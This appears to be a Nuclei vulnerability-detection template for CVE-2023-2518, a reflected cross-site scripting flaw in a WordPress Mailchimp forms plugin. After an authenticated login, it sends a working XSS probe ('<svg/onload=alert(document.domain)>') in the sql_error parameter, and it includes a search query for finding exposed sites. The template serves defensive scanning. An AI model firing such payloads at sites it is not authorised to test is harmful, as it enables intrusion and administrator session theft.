WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting

id: CVE-2023-2518

info:
  name: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Attackers can inject malicious JavaScript through the sql_error parameter when debug mode is enabled, potentially stealing administrator session cookies and gaining full control over the WordPress site.
  remediation: |
    Update Easy Forms for Mailchimp plugin to version 6.8.9 or later that properly sanitizes and escapes the sql_error parameter before output.
  reference:
    - https://wpscan.com/vulnerability/ca120255-2c50-4906-97f3-ea660486db4c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2518
    cwe-id: CWE-79
    epss-score: 0.15068
    epss-percentile: 0.947
    cpe: cpe:2.3:a:yikesinc:easy_forms_for_mailchimp:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: yikesinc
    product: easy_forms_for_mailchimp
    fofa-query: body="wp-content/plugins/yikes-inc-easy-mailchimp-extender/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,yikes-inc-easy-mailchimp-extender,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "yikes-inc-easy-mailchimp-extender"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022018f4b8a18308d1814b3ffe924e863f67c2830550ae0e3ddb9ef6c88bb38418e1022100a8f451c6561219ba78b091f4b458f8c430c31e1a0617b7b6efb35de3ffa5b7dd:922c64590222798bb761d5b6d8e72950